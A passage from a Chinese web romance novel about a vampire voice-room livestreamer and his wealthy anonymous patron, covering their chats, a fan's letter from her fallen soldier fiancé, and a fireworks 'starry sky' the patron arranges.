尽管哥哥也很有钱, 想认识那样的大人物也不容易。没关系哥哥, 你已经很棒啦~] 傅宴舟:…… 银耳粥:[你知道他长什么样吗?] 亲亲小耳朵:[当然啦!] [图片] [图片] [图片] 亲亲小耳朵立马发来几张傅宴舟的新闻网图,傅宴舟看了看, 都出自同一场参加珠宝拍卖以及展出的活动。 傅宴舟本不准备出席,主办方托了父亲生前老友说关系,傅家捐出部分珠宝拍卖资产用于北极濒危动物事业保护,剩下的作为长期展出“借”给展览馆。 包括一颗独一无二的蓝宝石。 小耳朵发的这三张图片,基本都是傅宴舟站在这颗蓝宝石周围时的抓拍合影。 尽管是抓拍, 傅宴舟在画面中一身深蓝色手工定制西装也依旧英俊硬朗,身影挺拔,毫不逊于展柜里镁光等下闪耀的宝石。 所以,小耳朵其实已经在网上看过他的很多照片了。 舟先生:[你觉得,他帅吗?] 来了来了。 几乎每个男人都要问的一个问题。 害。 小耳朵已经从浴室出来了, 穿着白色的冰凉真丝睡衣在2米的席梦思大床里幸福翻滚。 吸血鬼一直都睡在高档木头制成的豪华棺棺里的, 很不理解人类为什么会喜欢睡在那种软软的东西上,还没有盖子。 一点都不安全。 可是现在,他竟然觉得有点舒服…… 宁尔又打了个滚, 趴在床上用胳膊肘撑着床,晃着两只脚打字: [当然不帅啦!一点都不帅。] [哥哥你为什么会问这个问题呢?好奇怪呀?] [虽然没有见过哥哥,但我相信哥哥一定比那个傅宴舟总裁帅多了!] 宁尔嘴角扬起了一个耐克。 男人的送分题。 他早就学过标准答案了。 宁尔发完之后又点开傅宴舟总裁的图片双手合十拜了拜,嘴上喃喃: “对不起对不起抛开哥哥的问题其实您是我看到过最帅的男士啦。” “但我抛不开。” 舟先生又很久没有回复。 宁尔看了一眼时间吓了一跳,都快凌晨2点了,舟先生应该是要睡觉了,正要发消息说晚安,两个人的对话框里就弹出一条官方提示: [银耳粥对亲亲小耳朵的“倾情守护”头衔今日就要到期啦,快来继续点亮吧~] “守护”这个头衔是当时舟先生在直播间给他刷完1000个火箭炮之后获得的,之后一路升级,变成了现在的“倾情守护”。 上面好像还有什么唯一守护、挚爱守护、永恒守护。 这么快就要失效了吗。 那这个提示、就、就又是要舟先生刷礼物的意思了。 可是舟先生今晚刚刚给他定了这么贵的酒店…… 亲亲小耳朵:[哥哥,时间不早啦,快睡觉吧。不用管这条提示啦,就是平台让您刷礼物圈钱的,缘来真是个小财迷!~] 银耳粥:[嗯,我不太懂,听你的。] 亲亲小耳朵:[就是哥哥ID前面的前缀嘛,您现在是“倾情守护”,只要这个前缀在,所有人都知道哥哥是小耳朵的榜一大哥、独家守护。] [不过就算失效也没关系呀,哥哥在我心里永远是倾情守护~] 宁尔说的这些并不都算假话,其实也算是心里话。 他刚说完没多久,屏幕上就出现了一个梦幻城堡缓缓升起的特效,白色云朵衬托着城堡在云雾中散开,屏幕都是亮晶晶的彩虹。 宁尔第一次看到这个特效。 梦幻城堡,就像他今天住得酒店一样洁白漂亮。 银耳粥为您送出梦幻城堡x100个。 银耳粥:[不想只在你心里。]- 傅柏乖乖在盛景集团会客厅等了两个小时,秘书才出来传他。 传。 每次来傅宴舟办公室时候的心理压力不亚于法庭传唤。 傅柏理了理仪容仪表,有模有样地走进傅宴舟办公室,虚假地低头弯腰谄媚一笑: “表哥,你想我了?” 傅宴舟正倚在落地窗边看文件,闻言头也不抬,修长的手指漫不经心地翻过一页纸。 午后阳光透过玻璃洒在他身上,勾勒出他挺拔的轮廓,衬衫袖扣随意卷起,漫不经心的动作都透着一股贵气。 慢条斯理地合上文件,傅宴舟才掀起眼皮,金丝眼镜后的眼眸深邃冷淡,唇角绷着不怒自威的弧度: “两个小时,就想出这么一句话?” 声线过于威严,傅柏本来就心虚,直接吓得差点招了: “表哥,都是一家人,打断骨头连着筋,不如明示在下?” 傅宴舟瞥了一眼傅柏那身闷骚的暗红色西装打扮,一副做贼心虚的表情,没搭理他,转身坐在沙发上: “说正事。” “哦哦哦”,傅柏回了回神: “表哥,你让我‘调查’的事儿我都问过了,傅家我能问到的野史我都问了,咱们绝对没有得罪过或者对不起过什么人,有纷争也都用钱解决了。咱们干干净净做人,踏踏实实做事儿,靠坑人绝对走不到今天的地步。” “你确定都问清楚了?” 傅柏说的都是一些明面上的事,傅宴舟比他清楚得多。 至于傅柏的父亲那支有没有做过什么恶事,得罪了人算到傅宴舟这支头上,恐怕只有傅柏能知道。 “真问清楚了。老头子那些秘密之前就都告诉过表哥了,真榨不出来了。表哥,我爸那人你也知道,只贪财,不害命。” “至于有些事儿硬要算到咱们傅家头上也没办法。就拿东南亚那个斑森说吧,明明是他们自己的人作假弄虚丢了和盛景的合作,添油加醋一歪曲事实,失业员工反倒恨上盛景恨上表哥了。” 傅宴舟不由地哂笑了一下: “这你都知道。” 傅柏得意地勾了勾嘴唇: “那当然了,我最关心表哥嘛。那群底层劳工要是被亡命徒洗脑,指不定会做出什么事儿。你最近出入一定注意安全啊,别去危险地方。” “而且”傅柏说到这儿脸不由地拉了下来小声嘀咕: “要说过去,几十年前那场工业污染牺牲的也有咱们傅家吧,咱们家付出的代价比所有人都要多。” “傅柏。” 傅宴舟一个勒令住口的眼神封过去,傅柏赶紧闭了嘴。 不说就不说。 越是不说,就越证明在这件逐渐在时代历史中被渐渐淡去的事,在傅宴舟心中永远存在。 傅柏甚至觉得,他表哥现在的自然、环抱理念,一定程度上都受到了那件事的影响。 近乎病态。 “说吧,最近又在哪儿闯祸?” 傅宴舟意识到刚才语气略有强硬,稍微缓和后再问傅柏。 傅柏立马抓住机会: “表哥啊你可得救我啊表哥,就我那个直播公司,最近太水逆了,要么就是头部主播跑了,要么就是直播间涉.黄封了,要么就是大哥面基不满意打官司要退款。我头都大了。” 傅宴舟一哂,没有评价。 “表哥,你怎么不损我不教育我啊表哥?别人都说我。” 傅柏一脸丧气样。 傅宴舟抬眼看着窗外,108层的视野开阔,市中心无数拔地而起的高楼昭示着企业家商人的野心。 “到达A市中心的每一步路都是一步步走出来的。” 傅柏一听这话,眼睛都亮了。 傅宴舟竟然在鼓励他! “表哥,你既然能理解,干脆支持我到底吧。我最近公司资金链遇到了问题,你给我点钱度过这次难关吧。” 傅柏根本不敢说“借”字。 太假。 根本不还。 “免谈。”傅宴舟冰冷回绝。 傅柏没脸没皮地绕到他正面: “求求你了表哥,就帮我这一次吧,我保证这次我一定吸取教训好好干。” “自己出去还是让秘书把你请出去?”傅宴舟伸手要按铃。 “不是、表哥,别,我连这个月保底工资都快发不出去了,我自己的车都要卖了。我手下那么多主播都要饿肚子了,你知道他们只能靠每天的打赏生活,没收入的日子真的连饭都吃不上要饿肚子!很多都是刚过18岁的小孩!” 傅宴舟停顿了一下。 傅柏看到他陡然沉默的一刻不知道想起了什么,英朗俊美的脸上出现一丝微妙的“不忍”的表情,眉峰渐沉,语气低下来: “去找肖特助。” “我靠,表哥男菩萨!!!谢谢表哥!谢谢表哥!” “表哥我真恨不得把你照片供起来,人帅心善霸道总裁。” 傅宴舟冷笑了一声: “那倒不必了。你要是闲着,去网上找找我的照片,帅的留下,丑的全撤了。” “你怎么开始注意形象了表哥?这还是你吗?再说了,你361度无死角,怎么会有丑照?” “废话真多。” 傅宴舟嬉皮笑脸接了任务: “表哥,再次感谢,也替我谢谢我那素未谋面的男嫂子,salute!” “等等。” “什么素未谋面男嫂子?” “害,上次你和我打听直播公司的事儿,不就是为了你语音房里认识的主播么?今天心软答应给我钱也是爱屋及乌了吧?说真的,要不要挖我公司来我替你供着?不过也不需要,真和你谈了想播你肯定直接给他开公司了。” 傅宴舟轻轻蹙眉盯着傅柏,不得不承认这个家伙除了在正事上的脑子都够用。 “好好办你的事。” 没否认,就是承认。 “收到!”傅柏两眼放光。 他表哥傅宴舟最大的魅力就在这儿。 他的能力、魄力、以及地位,足够支持他无需隐瞒做任何事。 哪怕被猜到心思,也不会装模作样警告傅柏别乱说,或者不愿意承认以自己的身份喜欢一个男主播。 他身边也不会有任何人敢怀疑傅宴舟的品味和决定。 “表哥,还有什么事儿交给我随时吩咐。” “表弟别的不在行,江湖人称把妹王。” 傅宴舟不耐烦地挥了挥手指,看了看腕间的手表,在傅柏退出办公室前道: “有空帮我去看一套A市风景好的别墅。”—— 作者有话说: 傅总真的是没谈过恋爱的纯情大狗勾,真诚且有钱,只会砸。 第29章 粥哥你宝宝的首哭要献给…… 宁尔套在舒服的真丝睡衣里, 在舒适的床上恋恋不舍地打滚到半夜三点。 卧室高高的穹顶,屋子里让人安心的幽香,舒缓美妙的钢琴曲, 柔软洁白像棉花糖一样的大床, 舒服温热的浴室, 墙壁上精妙的油画…… 一切梦幻地就像一个梦一样。 比梦还要短暂一点。 一直快到凌晨四点的时候,宁尔才爬起来, 最后拥抱了一下那个软软的枕头, 换好舟先生为他提前准备好的那身新衣服。 他把大床恢复到原来的模样, 把穿过的睡衣整整齐齐叠好, 又把自己用过的浴缸冲洗干净, 红酒杯洗好,最后扭头看了一眼这间“城堡”, 趁着夜色离开了。 做傅宴舟总裁真好,可以拥有这样的房子。 做舟先生也很好,可以随时来住这样的房子。 当小吸血鬼也很好,只要可以回去- 第二天晚上十点,宁尔开播。 今天的主题是唱歌局, 宁尔不擅长,主动和观众粉丝解释了一下今天尽量不接麦,乖乖地蹲在语音房里听歌。 出乎意料的是,不仅没有大批观众流失,反而想留下来一起和他听歌。 [好奇妙, 有种和小耳朵并肩一起听歌的感觉] [对对对, 主包和我一起变观众] [有画面感了] [素描了一个图,小耳朵康康私信!] 一个头像是画画女孩的粉丝私信了一张图Q版动漫图,图上是一群人排排坐的背影, 正在看着一个闪耀的舞台。 排排坐那群人中间是一个长着两只小尖耳朵的男孩,应该代表宁尔,旁边那些代表粉丝们。 哇! 宁尔被这个温馨的画面狠狠被萌到了,立马打开缘小圈发图配文: 拥抱/转圈/沉醉/ 所有关注他的粉丝都会收到他发动态的提醒,陆陆续续去看完了,还给语音房又新带来不少人。 [哇哇哇太萌了吧] [呜呜呜好温馨啊,仿佛回到了我还不是毒妇的日子] [@圆满姐妹怎么画这么快的啊!!收徒吗?] [自从小耳朵来了这个语音房,这里变得好美好啊(不是说以前很差的意思)] [是的,PK虽然看着很爽,这种氛围也很难得] [这个还有粥哥钞能力的保驾护航啦] [等等,画面上是不是没有粥哥呀?] [@圆满姐妹可以加一个粥哥在画面里吗,不过粥哥好像不在?] [不在] [粥哥没来] [小耳朵不上麦,粥哥怎么会来呢] [哈哈哈别搞这些幼稚的,小心粥哥烦咱们] [耶斯耶斯,要和大哥保持边界感] 这个评论刚划过,房间里就出现提示: 银耳粥开着跑车来到了直播间。 [哈哈哈哈说曹操曹操到] [粥哥一直在窥屏吧] 银耳粥:[@圆满可以帮忙加一个人物吗。] 银耳粥给圆满发送了一个红包。 圆满:[不好意思粥哥这个已经定稿……] 圆满领取了银耳粥的红包。 圆满:[马上。] [哈哈哈哈哈哈哈] [哈哈哈哈哈哈哈] [我也不想啊,可他给的实在太多了] 没多久,宁尔就收到了一张新的图。 画面整体没什么变化,不同的是小尖耳朵男孩旁边多一个穿西装的个子高一些的男孩。 Q版画人物本来就像小孩,套上西装,带着一些萌萌的违和感。 宁尔噗嗤笑了笑,也不重新发缘小圈了,干脆直接把头像换成了这张图。 他很喜欢。 评论区一瞬间又有点炸,宁尔赶紧发了一连串的“嘘/嘘/嘘/嘘/”示意大家别打扰别人唱歌。 宁尔发完之后又去和舟先生私聊: [哥哥晚上好~我想你啦~撒花/撒花/] [哥哥今晚不忙吗?] 银耳粥:[忙。] [啊~哥哥那你先去忙吧,不用蹲语音房啦~今晚是唱歌局,我不上麦的。] 宁尔理所当然地发完之后舟先生好像沉默了,过了一会儿才委婉回复: [我是来听歌的。] “……” 啊啊啊。 自作多情。 好尴尬好尴尬。 都是被评论区带跑偏了,怎么会认为自己不播舟先生就不能来看呢。 宁尔羞得脸有些红,没来由地小发脾气阴阳,发了一个“撇嘴小猪”的表情包: [原来哥哥是来听歌的呢~] 银耳粥又回复:[小耳朵以为是什么?] 又欺负鬼! 哼! 宁尔发了个“熊猫摔倒”的表情包不说话了,单方面宣布冷战。 他回到语音房认真听歌,现在是三号麦在唱,他以前是以“学前男友道歉”才艺出名的,没想到唱歌也这么好听。 宁尔想起之前那个被舟先生打走的骗子山屿,他唱歌就够好听了,三号并没有比他差多少。 三号唱完之后很多他的粉丝送了礼物,宁尔也真心实意地给他送上了一个火箭炮。 66块。 宁尔刷过最大的礼物呢。 三号笑着感谢麦:“感谢鱼儿水中游宝宝送来的玫瑰花,感谢新新子送来的大墨镜,感谢……亲亲小耳朵送来的火箭炮。” “不是,小耳朵,你给我刷礼物干嘛?有种当男模被曾经的同事点了的感觉……” [哈哈哈哈哈哈] [哈哈哈哈咱小耳朵也是刷上礼物了] 三号继续顺嘴念:“感谢银耳粥宝宝……哥送来的火箭炮。” “不是,你们俩,你们俩……” [是不是有种被两口子一起点的感觉] [啊啊啊你们说什么少儿不宜] [哈哈哈哈哈别怀疑你也是他俩py的一环] 宁尔看着舟先生刷得那个礼物,不由地皱起了眉头撅起嘴。 他皱眉不是因为舟先生给别人刷了礼物,而且三号叫了舟先生宝宝。 他都还没有叫过! 他甚至没有叫过任何人“宝宝”。 三号唱完之后春风哥又被点了上去,他的声音虽然好听,但是偏叔系成熟,嗓子因为常年抽烟有些沙哑,宁尔还没听过他唱歌。 显然很多人都没听过春风唱歌。 春风开麦之后调侃:“怎么点我啊?我唱歌水平和小耳朵差不多你们不知道啊。” [哈哈哈哈哈坏了小耳朵成最低标准了] [玩归玩闹归闹别拿小耳朵开玩笑] [春风哥真会说话嗷] 春风又乐了会儿:“真唱啊?那我给大家喊个麦吧。” 他又要蒙混过关,评论区立马都说不行不行,必须好好唱,遵守规则。 宁尔也十分好奇春风哥这个嗓音唱歌会是什么样。 春风被逼得没办法了,最终松口答应唱一个。 他的设备比小耳朵稍微好一点,还有另一个手机用来放伴奏,音乐先响起,春风略带沙哑的嗓音在麦克风里缓缓传来,竟然有种独特的故事感。 每一句歌词都很真诚,和平时混不吝的样子完全不同。偶尔有一点点音准上的失误,反而更平添了情绪的真实。 一点都不难听! [春风谦虚了啊] [我去,春风哥这是留了几手啊] [春风哥你是不是为了今天的主题每天偷偷苦练唱歌啊] [老粉说一句,你们都太年轻了,知道春风哥当时在其他直播间是靠唱歌圈的第一波粉吗] 宁尔和其他粉丝一样都连连感慨,原来当语音房的主播不仅仅是会聊天那么简单,这些才艺也得远超过“会”的程度。 宁尔也打赏了一个火箭炮,舟先生也跟了一个。 轮到最后的2号开麦,宁尔和2号不熟,与其说不熟,甚至可以说是不对付。 2号和山屿原来是好朋友,宁尔还记得山屿想回来那天,是2号一直催着山屿上麦。 而自从山屿和他pk失败后,2号几乎再也没和宁尔说话或者互动过,整个人也变得更沉默寡言了。 2号很痛快唱完了一首歌,他开麦前就有人说过他唱歌好听,这次更是直接飚了高音,有难度的曲调混合着他特有的技巧,在语音房简直是降维打击。 [不是,你们几个是ktv认识的吧。] [寒夜,你以前是不是当过驻唱啊?] [完全小歌手水平] [不知道寒夜颜值怎么样,颜值高的话这水平完全可以去露脸平台直播了] [感觉这个主播很好啊,怎么不太活跃的样子] [自从山屿走了就不活跃了] [好好一对儿基友,硬生生被拆了] [不至于啊,山屿来了总共不到一个月还总请假,就好基友了?] [工业糖精还不如我们粥哥给小耳朵发朵玫瑰花甜……] [家人们别吵架啊,都是春家军,一个房里的兄弟这样说对谁都不好] [有些人别带节奏] 眼见评论区的节奏忽然变了,春风赶紧开麦: “再带节奏踢了。我们房里兄弟没仇没怨,大家看个开心热闹。” 宁尔虽然看春风这么说有些心虚,但2号麦寒夜一句都没接茬或者故意趁机阴阳,宁尔就也像给其他人一样给他刷了个火箭炮。 这回舟先生却没跟。 宁尔的火箭炮起了作用,评论区没再刻意质疑他和二号的关系。 2号一首歌火了,立马有很多点他继续唱歌的,很快收获了一批粉丝和上千块的礼物。 他一连唱了三首,直到嗓子哑了才停下来。 春风都忍不住开麦说他: “悠着点啊麦子,今天怎么这么拼啊?以前你唱歌时候没见你又飙高音又哭腔的?卷兄弟们啊?” [哈哈哈哈卷得就是你] [语音房是不是有麦哥夸史啊] [夸史是啥意思啊] [别卷了别卷了,卷来卷去受伤的是我们小耳朵] [哈哈哈哈哈洼地了] [缘来什么时候能出视频功能啊,小耳朵直接辣舞艳压] [+1] [太期待小耳朵辣舞了。] 几个人又轮着唱了一会儿,嗓子多少都有点累了,闲聊的时候评论区有一条评论终于吸引到了所有人的注意。 [4号主播小耳朵,可以申请连麦吗] [4号主播小耳朵,可以申请连麦吗] 同样的话,一条一条刷着屏幕。 之前弹幕多没那么明显,现在就很明显了。 以往有观众想吸引主播的注意,通常会刷一个大礼物。 小耳朵看了一下她的礼物列表,只有1个最基础的墨镜。 几个人都沉默了一会儿,宁尔开麦道: “玥玥宝,抱歉今天的唱歌房我不接麦,如果你想点歌就不用上来了。” [不是点歌,不是点歌] [我有事,我有事] 她的反应有些奇怪,正好春风寒夜他们也唱累了,宁尔把她台上了麦: “哈喽玥玥宝,这里是小耳朵,你找我有什么事呀?” 女生那边的麦简短地嘈杂了一下,像是找了个什么安静的地方,麦克风标志跳动,她说话一断一断的,像是因为太过紧张激动有些结巴: “主播你好,我是一个看过你语音房很久的粉丝,我想请问,你现在能不能接模仿、模仿前男友这个才艺?” “以前你播的时候申请上麦的人太多了,你看不到我,今天你没有上麦,所以找你的人不多,我才有机会被看到。” [那很天才了] [哈哈哈哈模仿前男友?] [这活耳宝估计不接吧] [对啊,粥哥还在啊哈哈哈] [好歹也得背着粥哥(bushi)] 宁尔还从来没接过点他模仿的单子,3号接过话茬: “玥宝,你找错人了啊,模仿前男友是我的绝活啊。这个声音你不喜欢的话我还有其他声线,包有一款适合你的。” [对对对,3号更会真的] [滑跪痛哭燕子你别走没有你我怎么活他都擅长] [听我的选3号,包你听爽的] “不、不要,不要3号。”女生可能因为紧张着急,拒绝地有些生硬。 三号发表情:[哭泣/哭泣/] “我想4号说,是因为他的声音很像、很像……” 女生的声音仿佛陷入了回忆。 [如果声音像小耳朵的话,这前男友年龄也太小了吧] [小耳朵这声音最多不超过20岁啊] [我冒昧一下,姐妹的声音听起来挺成熟啊] [这也太冒昧了。] [想象不出来小耳朵的声音滑跪痛哭] [粥哥你宝宝的首哭要献出来了] 她一直在申请,现在也上了麦,刚刚唱歌宁尔就已经在偷懒了,不想再拒绝这个表演,于是耐着性子轻声道: “玥玥宝,我可能不太专业,只能保证尽力。如果道歉挽回那些你听着不爽的话,可以把我当成你的前男友骂几句,会更有代入感。” 女生仿佛在每次听到小耳朵声音时候都会式神一下,等他说完才反应过来: “不是,小耳朵,你误会了,我不要道歉,我想让你帮我读一封信,用他的声音。” 宁尔:“信?” “我私聊发给你。” 女生说完之后就闭麦了,宁尔打开私信飞快地睁大眼睛看了一遍。 这好像是一封,情书。 情书,情书好。 情书是爱,爱比恨简单。 宁尔在心里小小松了口气,边快速看信边在心里模仿那个写信男孩的语气。 这封情书的语气一点儿都不陌生,甚至很熟悉,好像就是和宁尔同龄的男孩会说的话。 难怪玥玥会说他的声音像。 准备了一会儿,他轻轻在麦上咳嗽了一声清了清嗓子,柔声道: “亲爱的玥玥,最近一切都好吗?” “今天训练场边的格桑花又开了,春天又到了。还记得前年春天,我们一起去看电影、吃小吃、在湖边散步。一直从太阳落山走到夜里,我才傻傻地问你饿不饿。” “你没说话,只是盯着我看。那天夜晚我看着你的眼睛,我觉得比天上的星星还亮。” “和你表白的那一刻我的脑子好像乱七八糟的,你答应的那一刻,我感觉自己都听不到声音了,耳朵嗡嗡的,心跳地好快好快,只能笨手笨脚用力把你抱在怀里。” “玥玥宝,我经常做梦梦到那一天,梦里你离我那么近,醒来却发现又那么远。” “我很喜欢听你讲在学校的故事,你寄给我的明信片每张我都藏在床垫下。等我们下次见面,我就买个小册子,把它们都收藏在一起。” …… “亲爱的玥玥,今夜的星星又亮了。” “我好想你。” 宁尔读地一句比一句代入,一句比一句有感情。 到最后一句“我想你了”,仿佛已经和信中的人物合二为一,随着他的话感受这份相思的甜蜜。 宁尔读完之后,女生陷入了沉默当中,他本来想感慨一句“好甜啊”,忽然意识到他这是在模仿前男友! 信中这个男生、这份感情已经是过去了! 一瞬间的扎心感袭来,扎得宁尔自己都倒吸了一口凉气,赶紧一改刚才的柔情蜜意,严肃道: “咳咳,渣男!情书写得这么好还和人家分手。” “不对,应该是玥玥宝甩了你才对。” “玥玥宝,你别再难过了。不管是什么原因,既然已经是前男友那就不要再想他了。人嘛,总要往前走、往前看的。” 宁尔之前听了3号那么多次模仿前男友道歉,理所当然以为小姐姐是来骂渣男的。 只是他不太明白,情书里那么甜蜜的两个人,如今怎么又会形同陌路呢。 评论区大多数也是和宁尔一样安慰玥玥的,还有人说这封情书写得像小学生,这种人不值得留恋。 沉默了一会儿,玥玥仿佛才回过神,哑着嗓子道: “小耳朵,谢谢你。” “真的,谢谢你。” “不过你们可能误会了。他没有伤害我,我们也没有分手。” “他……他是一名戍边战,,士,在一次任务中牺牲了。一直到他牺牲那天,我们都没有分手。” “他写这封信的时候,我们俩都20岁。他牺牲的时候,刚满21岁。” “现在,我已经29岁了。” 玥玥说完这些话再也绷不住了,一瞬间在麦上失声痛哭起来。回忆挚爱逝去的痛苦如同无形之手绞在她心上,似曾相识的声音在虚拟世界再度想起,痛得喘不过气来。 宁尔在听到“牺牲”那一刻整个人也愣住了,听到玥玥的骤然失声痛哭,呼吸越来越重越来越急促,眼眶中不知不觉地有了眼泪。 他哽咽着嗓子,鼻子中抑制不住地酸楚,听着玥玥的哭声,努力地咬着嘴唇不让眼泪流下来。 5号比宁尔更感性,早就不管不顾地边带哭腔边安慰玥玥了。 女生哭得不能自已,用最后的力气和宁尔道了别,说调整好情绪再来找他就下了麦。 整个语音房都静悄悄的,从胡乱猜测到见证了一场凄美的悲剧爱情,每个人都被触动到了。 春风感觉到了宁尔的状态不对劲,安慰了他几句说告诉他到时间了,可以下播了。 宁尔被抬下麦,切断了直播,手机自动弹回了和舟先生的聊天页面上。 宁尔呆呆地看着屏幕,抬手一摸,脸上已经有凉凉的眼泪滑落了。 他一字一句读了那封信,感受着和自己一样大的少年的真挚与青春,到最后主人公却告诉他一切已经恍然十年。 人类的十年。 玥玥又在私信上给他发了很多很多感谢的话,感谢他的出现,让玥玥这辈子还能再次听到这个声音。 宁尔小珍珠从眼眶里往外冒,直到舟先生发来消息: [你还好吗?] 亲亲小耳朵:[哥哥,我没事,不用担心。墨镜脸/墨镜脸/] 银耳粥:[把墨镜摘下来。] 亲亲小耳朵:[捂脸/捂脸/] 银耳粥:[把手放下去。] 亲亲小耳朵:[流泪/流泪/] 又被舟先生看穿了。 亲亲小耳朵:[为什么那么好的人,那么好的爱人,会这样分开呢。大哭/大哭/] 亲亲小耳朵:[他们明明都约定好了要一生一世、白头偕老。大哭/大哭/] 舟先生仿佛不太会安慰别人哭,又或者对这件事无所适从,一时间沉默着,只回复了一个[拥抱/]的小表情。 宁尔哭地有点累了,擦了擦眼泪: [舟先生,今晚有星星吗] 写信的男孩子两次在信中提到星星又亮了。 他喜欢看星星,就像小吸血鬼们一样。 在无数个漫长的夜晚,星星是血族唯一的光芒。 银耳粥:[有。] 宁尔走到窗边把脑袋伸出去,晚风吹得未干的泪痕在脸上凉飕飕的,天空是一望无际的黑色。 骗鬼。 没有星星。 银耳粥:[二十分钟后,司机在上次的位置接你。]—— 作者有话说: 本来是小耳朵一个人不想面基,现在成了两个人了哈哈哈哈 第30章 如果我赢了,我们会见面…… 宁尔出门前正好碰上元之来找他借耳机。 陈元之看到宁尔两只眼睛哭得红红的, 直接把人肩头按住: “你哭了?出啥事儿了?” 宁尔摇摇头,把刚才语音房读信的事儿告诉了元之。 陈元之听完之后也唏嘘地叹了口气,再看宁尔, 陈元之好像还是第一次看到他哭。 少年垂着头, 纤长的睫毛被泪水浸湿, 湿漉漉地黏在眼睑上,眼尾泛着薄红, 泪痕蜿蜒而下, 在精致的小脸上留下透明的痕迹。 嘴唇被他自己咬得微微泛红, 本来就漂亮的脸蛋更显得楚楚可怜, 整个人在白衬衫里显得格外单薄, 仿佛脆弱地让人想轻轻抱抱。 “元之?”宁尔抬起头看着他问。 陈元之回过神来,挠了挠头: “那啥, 哭会儿就行了,别太影响自己情绪。有句话叫死亡不是生命的终点,遗忘才是。至少,哪怕十年过去,他还被深爱过的人记着。” 宁尔轻声喃喃地重复一下元之的话, 似懂非懂地点点头。 “元之,那如果一个人还活着,但却被所有人忘了,包括他曾经的爸爸、妈妈和好朋友,那是不是……就和死掉了一样?” 陈元之看着宁尔那张发怯的漂亮脸蛋, 他听靳伟说过一嘴宁尔的家庭, 好像是被父母发现不是亲生的之后一个人跑出来了。 知道他是想到自己了,陈元之脸色微微一沉,伸手揉了揉宁尔的脑袋: “别乱想。不是这样的。” “你现在要出门么?” 宁尔点点头, 语气里却难以从伤心立马转变为开心,仍有些恹恹: “嗯。舟先生说,要带我看星星。” “别开玩笑了,今天阴天,云比我家欠的账都厚,哪来的星星。” 宁尔没有笑,轻轻咬着嘴唇坚持道: “舟先生说有。” “……” “你答应见他了?”陈元之有些微微发愁。 宁尔摇摇头:“没有答应。” “舟先生应该会让他的司机送我去,他不会出现。” “他一直都是这样,尊重我的选择。” “行吧……有钱人的世界咱也不懂。反正管他用什么办法,能把你哄开心就行。” “对了,小耳朵”元之走之前又挠了挠头: “我说不让你见他吊着他是主播网恋的一般方法,并不能证明一定对。 具体要不要见什么时候见吧,还得你自己把握。虽然真心喜欢的概率非常小吧,但万一他就是例外呢。” 元之说完摇头晃脑的回去了,宁尔照例戴上棒球帽、黑框眼镜,把口罩拉得严严实实出门,上次接他的司机已经等在了出租屋前。 一回生,二回熟。 宁尔有些不好意思地和他点头表示打招呼,司机把腰弯得更低,更客气地请他上车。 舟先生没告诉他要去哪里,A市的路哪怕是在夜里他也不认得,干脆就乖乖坐好。 刚上车没多久,舟先生就打来了电话。 宁尔刚刚把唯一的耳机借给了元之,只能正常用耳朵接听。 宁尔飞快地瞥了一眼司机: “喂,哥、哥……” “累不累?” 他的手机质量实在太差了,哪怕不开免提这个声音足够车上两人听到。 宁尔眼睁睁看到,舟先生的声音一响起来,司机就像受惊了一样,立马绷直腰背,坐姿更加端正。 “坐在车上、不累。” “嗯,困得话就睡一会儿,需要一些时间。” “没事的哥哥,我今天白天都在睡觉,一点儿都不困。” 宁尔也不知道那句话戳到了舟先生的笑点,电话那边似乎传来一声悦耳的轻笑: “嗯。不要挂电话,我陪着你。” 温柔酥麻的语气从电话里传来,宁尔浑身一抖,脸有些发烫,赶紧把手机捂在嘴边,用气流讲话: “哥哥、我没有戴耳机、声音在公放、会、被、人、听、到,不、要、说、啦。” “你说你没带耳机,司机能听到你说话对么?” 舟先生用正常音量重复了一遍。 宁尔:“……” 他尴尬地想跳下去。 “没关系,让他戴。” 舟先生话音刚落,司机赶紧看着后视镜拿着耳机趁机插进来一句话: “少、少爷,我戴,我戴。” 少爷。 宁尔不好意思地摸了摸鼻子。 真把他当成老板弟弟了。 他一直和舟先生连着麦,可能感受到他情绪低落,舟先生也没有多说什么。 尽管这样,宁尔还是能从“手机里有一个人在和你保持着连麦通话,只要你说话他随时会出现”的行为中感觉到一直奇异的心安。 汽车不知道行驶了多久,窗外的夜色一变又变,两边的楼宇逐渐奚落,越来越空旷,没过多久司机稳稳地把车停在了江边大桥上。 “少爷,到了。” 司机为他打开门,汽车停在一个空阔的平台。宁尔下了车,一阵江风拂过,面前是宽阔的江水在夜色中起伏。 “到了吗?”舟先生问。 宁尔点点头,司机已经又开着车走了,整个江边只剩下宁尔一个人,白白的衣服像一个小点。 江边夜风微凉,潮湿的水汽氲在全身,是一种和久违的清新舒适感。 宁尔环顾左右,想在茫茫夜色中记住这个地方,以后不开心了就一个人跑过来看着江水吹吹风。 “能看到星星吗?” 夜色仍然像墨染一样黑得什么都没有,宁尔刚想说“没有”,顿了顿,抬起头,任由微风吹在脸上: “看到了,哥哥。” “是吗?亮不亮?” 宁尔盯着黑漆漆的天空鬼扯: “很亮,有好多颗,又大又亮,最远处的那颗好像还在闪。” “哥哥你是怎么知道这里能看到星星呀?你是不是也带别人来看过星星呀?~” 电话里舟先生忍不住轻笑出了一声: “嗯。” 宁尔:“嗯?~~” 舟先生:“不过他们都不是小骗子。” 他话音一落,江对岸忽然响起了一阵呜鸣声,宁尔吓了一跳,下意识想捂着耳朵蹲下。 回头的瞬间,就看到一排火焰伴随着呜鸣声隔着江水缓缓升空,在几乎到达最顶点的一刻,接二连三地幻化成一颗颗硕大的蓝色星星。 蓝色繁星在凝滞在黑色的夜幕上,哪怕只有短短地几秒中,随后如同银色的碎镜般在拖着长尾,洒进了夜色涌动的茫茫江水。 烟花的蓝色冷光倒映在宁尔绿色的眸瞳中,如同繁星坠入一汪清水。 手里的手机险些滑落,宁尔就这么垂着胳膊,微微张着嘴巴,仰着脑袋看了很久。 烟花除了升空的呜鸣声之外没有任何噪声,就连绽开的一刻都只如花苞舒展般柔和。 整条夜色的江边此刻仿佛只有宁尔一个人,在观摩着这场为他准备的独一无二的星空。 直到最后一点灿蓝色的星光在夜空中消失,宁尔才回过神来。 他把手机再次举到耳边,电话那边的声音响起: “像吗?” 好像再问他像不像星星。 “像、像……不对,是好看。” 宁尔仿佛已经不知道该怎么形容了,尽管此刻看到的是用烟花做得星星,但是,但哪怕只是看烟花,都足够美得让他说不出话来。 只是,像流星划过一样,美得太短暂了。 “哥哥……” 没等宁尔说完,呜鸣声再度从遥远处传来,这次的火焰是赤金色的,在夜幕中绽放的一瞬间将整个天空都染成了金色。 